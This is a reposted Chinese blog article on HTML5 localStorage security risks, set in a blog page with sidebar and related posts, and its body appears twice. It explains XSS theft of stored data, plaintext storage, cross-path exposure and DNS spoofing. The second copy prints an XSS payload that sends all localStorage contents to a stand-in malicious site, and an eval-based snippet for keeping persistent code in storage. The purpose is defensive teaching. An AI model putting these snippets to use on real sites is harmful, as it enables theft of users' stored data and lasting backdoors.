- 浏览: 3322359 次
- 性别:
- 来自: 北京
文章分类
- 全部博客 (567)
- Web前端-html/表单 (19)
- Web前端-CSS (24)
- Web前端-CSS框架 (4)
- Web前端-JS语言核心 (50)
- Web前端-JS客户端 (26)
- nodejs生态+grunt (10)
- seajs和requirejs (9)
- backbone等框架 (7)
- 模板基础 (7)
- Web前端-deps(不改动) (6)
- Web前端-component (10)
- Web前端-jquery-plugin (13)
- 浏览器兼容性 (6)
- Web前端-使用jQuery (25)
- Web前端-使用jqueryui (6)
- Web前端-性能优化 (3)
- Web协议-HTTP (6)
- ExtJS (13)
- PHP (22)
- PHP面向对象 (4)
- PHP扩展-SOAP (6)
- PHP扩展-curl (4)
- PHP与HTML(导出) (5)
- PHP扩展-综合 (7)
- mysql基础应用 (18)
- 技术心情 (18)
- 算法和面试题 (17)
- 工具(开发)使用 (36)
- memcached原理 (2)
- session和cookie (4)
- UML (2)
- Web前端_FusionCharts (5)
- Web前端_Flex (4)
- Web前端_JSP (3)
- JavaSE (10)
- JavaEE (4)
- tomcat (2)
- Servlet开发 (3)
- Spring开发 (1)
- REST相关 (2)
- 大访问量、高并发 (2)
- 网络编程 (1)
- YII (21)
- linux命令和内核 (12)
- yii与数据库 (10)
- yii与表单 (12)
- yii view层 (1)
- perl (7)
- yii扩展 (7)
- shell (4)
- photoshop (7)
- 视觉设计 (2)
- 我关注的名人在路上 (4)
- 1-自学能力 (1)
- 2-人际沟通能力 (3)
- 3-职业规划能力 (7)
- 4-项目管理能力 (2)
- python (3)
- django (4)
- Mysql高级应用 (6)
- prototype.js (4)
- Web系统安全 (1)
- Web前端-mobile (2)
- egret (6)
- jQuery源码分析 (5)
- fis (4)
最新评论
-
yzq21056563:
感谢作者分享~请教下,http://www.lisa33xia ...
CSS基础:text-overflow:ellipsis溢出文本 -
u012206458:
$.ajax的error,complete,success方法 -
DEMONU:
谢谢,虽然不能给你赞助,但是要给你顶
mysql中key 、primary key 、unique key 与index区别 -
njupt_tolmes:
阿凡达阿凡达阿凡达阿凡达阿凡达阿凡达阿凡达阿凡达阿凡达阿滕庆亚 ...
CSS基础:text-overflow:ellipsis溢出文本 -
zenmshuo:
用过SpreadJS,也包含数据可视化的图表
推荐几个web中常用js图表插件
zccst转载
HTML5本地存储的前身就是Cookie,HTML5的本地存储是使用localStorage对象将WEB数据持久化在本地。相比较而言HTML5本地存储中每个域的存储大小默认是5M,比起Cookie的4K要大的多。而且存储和读取数据的代码极为简练:
Window.localStorage.setItem(key,value);//存储数据
Window.localStorage.getItem(key);//读取数据
Window.localStorage.removeItem(key);//删除数据项
Window.localStorage.clear();//删除所有数据
那么现在我们是否可以简单的认为,HTML5存储已经可以代替Cookie存储。而这种新的存储方式又在实际应用中带来了哪些新的安全风险。带着这些疑问我们来进行下面的讨论。
(1)、是否可以代替Cookie
浏览器使用Cookie进行身份验证已经好多年,那现在既然localStorage存储空间那么大,是否可以把身份验证的数据直接移植过来呢。以现在来看,把身份验证数据使用localStorage进行存储还不太成熟。我们知道,通常可以使用XSS漏洞来获取到Cookie,然后用这个Cookie进行身份验证登录。后来为了防止通过XSS获取Cookie数据,浏览器支持了使用HTTPONLY来保护Cookie不被XSS攻击获取到。而localStorage存储没有对XSS攻击有任何的抵御机制。一旦出现XSS漏洞,那么存储在localStorage里的数据就极易被获取到。
如果一个网站存在XSS漏洞,那么攻击者注入如下代码,就可以获取使用localStorage存储在本地的所有信息。
攻击者也可以简单的使用localStorage.removeItem(key)和localStorage.clear()对存储数据进行清空。
(2)、不要存储敏感信息
从(1)中知道,从远程攻击来看localStorage存储的数据容易被XSS攻击获取,所以不宜把身份验证信息或敏感信息用localStorage存储。而从本地攻击角度来说,从localStorage自身的存储方式和存储时效来看也不宜存储敏感信息。
五大浏览器现在都已经支持以localStorage方式进行存储,其中Chrome,Opera,Safari这三款浏览器中都有了查看本地存储的功能模块。但是不同浏览器对localStorage存储方式还是略有不同。以下是五大浏览器localStorage存储方式:
HTML5本地存储的安全性
通过上面的描述可以看出,除了Opera浏览器采用BASE64加密外(BASE64也是可以轻松解密的),其他浏览器均是采用明文存储数据。
另一方面,在数据存储的时效上,localStorage并不会像Cookie那样可以设置数据存活的时限,只要用户不主动删除,localStorage存储的数据将会永久存在。
根据以上对存储方式和存储时效的分析,建议不要使用localStorage方式存储敏感信息,那怕这些信息进行过加密。
(3)、严格过滤输入输出
对于本地存储,为了方便再次加载数据,常常会把数据存储在本地。等再此加载的时候,直接从本地读取数据显示在网页上。在某些情况下,在通过在localStorage存储中写入或读取数据的时候,如果数据没有经过输入输出严格过滤,那么极易可能这些数据被作为HTML代码进行解析,从而产生XSS攻击。
Twitter就发生过localStorage XSS漏洞。次漏洞触发的条件是,在Twitter的个人主页上执行以下存储代码后,每次再打开个人主页时就会弹出/xss/框。
从这段代码可以看出,Twitter会使用localStorage方法把一些个人数据存储到本地,每次加载个人主页面的时候就会从本地存储取数据,然后由于Twitter忽略了对去除数据的严格过滤导致存储的代码会被当作HMTL编码执行,进而发生跨站攻击。
Twitter localStorage XSS 漏洞详细信息可以查看:http://www.wooyun.org/bugs/ wooyun-2010-03075。虽然Twitter这个漏洞利用起来非常困难,但它再一次告诉我们本着一切输入输出都是有害的原则,要对数据进行严格的输入输出过滤。
(4)、容易遭受跨目录攻击
localStroage存储方式不会像Cookie存储一样可以指定域中的路径,在localStroage存储方式中没有域路径的概念。也就是说,如果一个域下的任意路径存在XSS漏洞,整个域下存储的数据,在知道存储名称的情况下,都可以被获取到。
假设下面两个链接是使用localStorage来存储数据:
用户xisigr和xhack各自的blog链接虽然属于同一个域,但却有不同的路径,一个路径为xisigr,另一个路径为xhack。假设xisigr用户发现自己的路径下存在存储型XSS漏洞,那么就可以在自己的blog中加入获取数据代码,其中核心代码为localStorage.getItem(“name”)。xhack用户并不需要登录blog,他只要访问http://h.example.com/xisigr,本地存储数据就会被获取到。
(5)、容易遭受DNS欺骗攻击
Google在没有使用HTML5本地存储前,是使用Google Gears方式来进行本地存储的,那个时候Google Gears就遭到过DNS欺骗攻击。Google Gears支持离线存储,可以把Gmail,WordPresss这样网站数据的以SQLite数据库的形式存储下来,以后用户就可以对存储的网站数据进行离线读取或删除操作。如果攻击者发动DNS欺骗攻击,那么就可以注入本地数据库,获取数据或者留下永久的后门。这样将会造成对用户持久的危害。Google Gears所遭受的DNS欺骗攻击方式在HTML5本地存储上也是同样有效的。
(6)、恶意代码栖息的温床
在第六点中给出“恶意代码栖息的温床”这个小标题有些夸大的效果。其实这里想说的是HTML5本地存储在空间上和时间上都将称为今后存储的趋势,料想“恶意代码们”自然会大雁南飞转移栖息到这张温床。
那么,何为HTML5本地存储的空间和时间呢?空间这里指的是存储空间,比起Cookie 4K空间的微小来说,HTML5的localStroage方法默认就可以使浏览器存储5M空间可以说是博大,而Safari浏览器可以支持到500M更加让HTML5存储霸气外露。时间上,随着HTML5技术日渐成熟,除了各大浏览器厂商争先在自己的产品中支持HTML5外,一些大应用软件厂商也对其信赖有佳。比如2011.11月份Adobe宣布放弃手机上的FLASH, 而有HTML5全面取而代之。随着时间的推移,HTML5大脚步前行的速度也会越来越快,也会使得用到HTML5本地存储的应用会越来越多。
上面从理论上分析了,“恶意代码栖息的温床”的可能性。从实际技术上的可行性也是非常简单。下面是在本地留后门的核心代码:
如果您觉得本文的内容对您的学习有所帮助,您可以微信:
HTML5本地存储的前身就是Cookie,HTML5的本地存储是使用localStorage对象将WEB数据持久化在本地。相比较而言HTML5本地存储中每个域的存储大小默认是5M,比起Cookie的4K要大的多。而且存储和读取数据的代码极为简练:
Window.localStorage.setItem(key,value);//存储数据
Window.localStorage.getItem(key);//读取数据
Window.localStorage.removeItem(key);//删除数据项
Window.localStorage.clear();//删除所有数据
那么现在我们是否可以简单的认为,HTML5存储已经可以代替Cookie存储。而这种新的存储方式又在实际应用中带来了哪些新的安全风险。带着这些疑问我们来进行下面的讨论。
(1)、是否可以代替Cookie
浏览器使用Cookie进行身份验证已经好多年,那现在既然localStorage存储空间那么大,是否可以把身份验证的数据直接移植过来呢。以现在来看,把身份验证数据使用localStorage进行存储还不太成熟。我们知道,通常可以使用XSS漏洞来获取到Cookie,然后用这个Cookie进行身份验证登录。后来为了防止通过XSS获取Cookie数据,浏览器支持了使用HTTPONLY来保护Cookie不被XSS攻击获取到。而localStorage存储没有对XSS攻击有任何的抵御机制。一旦出现XSS漏洞,那么存储在localStorage里的数据就极易被获取到。
如果一个网站存在XSS漏洞,那么攻击者注入如下代码,就可以获取使用localStorage存储在本地的所有信息。
var i = 0; var str = ""; while (localStorage.key(i) != null) { var key = localStorage.key(i); str += key + ": " + localStorage.getItem(key); i++; } document.location="http://your-malicious-site.com?stolen="+ str;
攻击者也可以简单的使用localStorage.removeItem(key)和localStorage.clear()对存储数据进行清空。
(2)、不要存储敏感信息
从(1)中知道,从远程攻击来看localStorage存储的数据容易被XSS攻击获取,所以不宜把身份验证信息或敏感信息用localStorage存储。而从本地攻击角度来说,从localStorage自身的存储方式和存储时效来看也不宜存储敏感信息。
五大浏览器现在都已经支持以localStorage方式进行存储,其中Chrome,Opera,Safari这三款浏览器中都有了查看本地存储的功能模块。但是不同浏览器对localStorage存储方式还是略有不同。以下是五大浏览器localStorage存储方式:
HTML5本地存储的安全性
通过上面的描述可以看出,除了Opera浏览器采用BASE64加密外(BASE64也是可以轻松解密的),其他浏览器均是采用明文存储数据。
另一方面,在数据存储的时效上,localStorage并不会像Cookie那样可以设置数据存活的时限,只要用户不主动删除,localStorage存储的数据将会永久存在。
根据以上对存储方式和存储时效的分析,建议不要使用localStorage方式存储敏感信息,那怕这些信息进行过加密。
(3)、严格过滤输入输出
对于本地存储,为了方便再次加载数据,常常会把数据存储在本地。等再此加载的时候,直接从本地读取数据显示在网页上。在某些情况下,在通过在localStorage存储中写入或读取数据的时候,如果数据没有经过输入输出严格过滤,那么极易可能这些数据被作为HTML代码进行解析,从而产生XSS攻击。
Twitter就发生过localStorage XSS漏洞。次漏洞触发的条件是,在Twitter的个人主页上执行以下存储代码后,每次再打开个人主页时就会弹出/xss/框。
从这段代码可以看出,Twitter会使用localStorage方法把一些个人数据存储到本地,每次加载个人主页面的时候就会从本地存储取数据,然后由于Twitter忽略了对去除数据的严格过滤导致存储的代码会被当作HMTL编码执行,进而发生跨站攻击。
Twitter localStorage XSS 漏洞详细信息可以查看:http://www.wooyun.org/bugs/ wooyun-2010-03075。虽然Twitter这个漏洞利用起来非常困难,但它再一次告诉我们本着一切输入输出都是有害的原则,要对数据进行严格的输入输出过滤。
(4)、容易遭受跨目录攻击
localStroage存储方式不会像Cookie存储一样可以指定域中的路径,在localStroage存储方式中没有域路径的概念。也就是说,如果一个域下的任意路径存在XSS漏洞,整个域下存储的数据,在知道存储名称的情况下,都可以被获取到。
假设下面两个链接是使用localStorage来存储数据:
用户xisigr和xhack各自的blog链接虽然属于同一个域,但却有不同的路径,一个路径为xisigr,另一个路径为xhack。假设xisigr用户发现自己的路径下存在存储型XSS漏洞,那么就可以在自己的blog中加入获取数据代码,其中核心代码为localStorage.getItem(“name”)。xhack用户并不需要登录blog,他只要访问http://h.example.com/xisigr,本地存储数据就会被获取到。
(5)、容易遭受DNS欺骗攻击
Google在没有使用HTML5本地存储前,是使用Google Gears方式来进行本地存储的,那个时候Google Gears就遭到过DNS欺骗攻击。Google Gears支持离线存储,可以把Gmail,WordPresss这样网站数据的以SQLite数据库的形式存储下来,以后用户就可以对存储的网站数据进行离线读取或删除操作。如果攻击者发动DNS欺骗攻击,那么就可以注入本地数据库,获取数据或者留下永久的后门。这样将会造成对用户持久的危害。Google Gears所遭受的DNS欺骗攻击方式在HTML5本地存储上也是同样有效的。
(6)、恶意代码栖息的温床
在第六点中给出“恶意代码栖息的温床”这个小标题有些夸大的效果。其实这里想说的是HTML5本地存储在空间上和时间上都将称为今后存储的趋势,料想“恶意代码们”自然会大雁南飞转移栖息到这张温床。
那么,何为HTML5本地存储的空间和时间呢?空间这里指的是存储空间,比起Cookie 4K空间的微小来说,HTML5的localStroage方法默认就可以使浏览器存储5M空间可以说是博大,而Safari浏览器可以支持到500M更加让HTML5存储霸气外露。时间上,随着HTML5技术日渐成熟,除了各大浏览器厂商争先在自己的产品中支持HTML5外,一些大应用软件厂商也对其信赖有佳。比如2011.11月份Adobe宣布放弃手机上的FLASH, 而有HTML5全面取而代之。随着时间的推移,HTML5大脚步前行的速度也会越来越快,也会使得用到HTML5本地存储的应用会越来越多。
上面从理论上分析了,“恶意代码栖息的温床”的可能性。从实际技术上的可行性也是非常简单。下面是在本地留后门的核心代码:
// 保存shellcode function setShellCodz(codz){ window.localStorage.setItem("shellcodz", codz); } // 执行shellcode function getShellCodz(){ eval(window.localStorage.getItem("shellcodz")); } // 删除shellcode function delShellCodz(){ window.localStorage.removeItem("shellcodz"); }
如果您觉得本文的内容对您的学习有所帮助,您可以微信:
发表评论
-
[移动端]专用的meta
2015-03-04 15:31 8276作者:zccst <meta name=" ... -
[html5]触摸事件(touchstart、touchmove和touchend)
2015-02-13 20:28 29575作者:zccst 参考文章 ... -
meta name=viewport含义
2015-02-12 16:29 4062作者:zccst viewport中文 ... -
doctype和compatModel相关
2015-01-04 19:30 714作者:zccst 一、doctype 1,严格模式与混杂模 ... -
【转义字符】HTML 字符实体 < >: &等
2014-11-18 18:56 22989作者:zccst 2014-12-10 又 ... -
挖掘input type=file的新知识
2014-11-13 18:23 3108作者:zccst 文件上传,这个问题始终一知半解,今天又近真 ... -
div+css布局总结
2014-09-04 10:48 1429作者:zccst 3,position布局 #wrap ... -
文件上传的两种情况及mock时对应处理办法
2014-09-02 19:46 1719作者:zccst 1,给文件一个独立的url,要求文件上传至 ... -
attr与prop的区别
2014-07-09 18:20 967作者:zccst jQuery在1.6.1 ... -
HTML <label> 标签的 for 属性
2014-07-04 17:14 2068作者:zccst for 属性规定 label 与哪个表单元 ... -
设置frameset的高度
2014-01-26 13:22 2735zccst转载 原文: 这是使用frameset做的,在宽 ... -
天气接口API
2012-02-02 17:32 1347把下面代码粘贴到自己的页面里,就能显示天气了。 <if ... -
form表单深入理解
2011-11-23 20:12 2174作者:zccst form表单 一、表单基础 作用:用来向服 ... -
表单之input file的使用特点及在php.ini中的相关参数设置
2011-11-23 20:08 23441,控件 <input type= "fi ... -
文件编码
2011-07-04 18:35 1240今天第一次留意文件的编码格式。 改变方式:另存为时,可选择 ... -
html5新知识点
2011-05-12 22:53 1865作者:zccst 新技术 http://timelineap ... -
HTML 和 XHTML 区别
2011-05-12 22:24 1069这篇文章主要阐述 HTML 和 XHTML 的区别。简单来说, ... -
表单与ajax一并使用
2011-04-22 13:35 1197表单与ajax一并使用 一、表单需要注意的地方。 form ...
相关推荐
4. **使用`localStorage`或`sessionStorage`**:在支持这些API的浏览器中,可以使用`localStorage`或`sessionStorage`代替cookie进行数据存储。这些本地存储方法不受同源策略的约束,但请注意它们的存储量有限,且不...
7. web storage:本地存储机制,替代了cookie,提供更大容量且更安全的数据存储。 8. web workers和web sockets:支持后台线程处理和实时双向通信,提升应用性能和互动性。 二、HTML5实例解析 1. 交互式表单:利用...
4. **Web Storage**:HTML5的`localStorage`和`sessionStorage`提供更大的数据存储空间,比传统的`cookie`更方便,可以用来保存用户登录状态。 【京东登录界面设计特点】 京东作为知名的电商平台,其登录和注册...
在Web开发中,Cookie是广泛使用的用于存储用户数据的一种机制,但它们存在一些限制,比如大小限制...但通常,更推荐使用localStorage或sessionStorage,因为它们更符合Web存储的标准,并且提供了更安全的隔离机制。
尽管浏览器存储技术日益增多,如HTML5的localStorage提供了更好的性能体验,cookie在处理小型数据交流中仍然具有其独特的便利性。合理地使用cookie可以让web应用程序更加灵活和高效。 文章的最后,作者感谢读者的...
- **安全性**:使用Token代替Cookie进行认证,可以避免CSRF攻击。 - **可扩展性**:Token可以轻松地在不同的服务器间传递,适合分布式架构。 #### 四、Token与Cookie的区别 - **存储位置**:Token可以存储在...
`token`的存储一般有两种方式:一种是在客户端的本地存储(如浏览器的Cookie、LocalStorage或SessionStorage),另一种是保存在HTTP的`Authorization`头中。在后续的请求中,客户端会在每个请求头中附带上这个`token...
尽管这个类自Java 1.1以来就已经存在,但它的一些设计决策(如可变性)导致了易用性和线程安全性的问题。因此,现在推荐使用`java.time`包中的类,如`LocalDate`、`LocalTime`和`LocalDateTime`来代替。 `java.util...
- 可以通过localStorage、sessionStorage进行简单的数据共享和通信。 - 使用Broadcast Channel API进行更复杂的通信。 - 利用IndexedDB进行数据存储和检索。 6. 前端性能优化: - 减少HTTP请求次数和大小。 - ...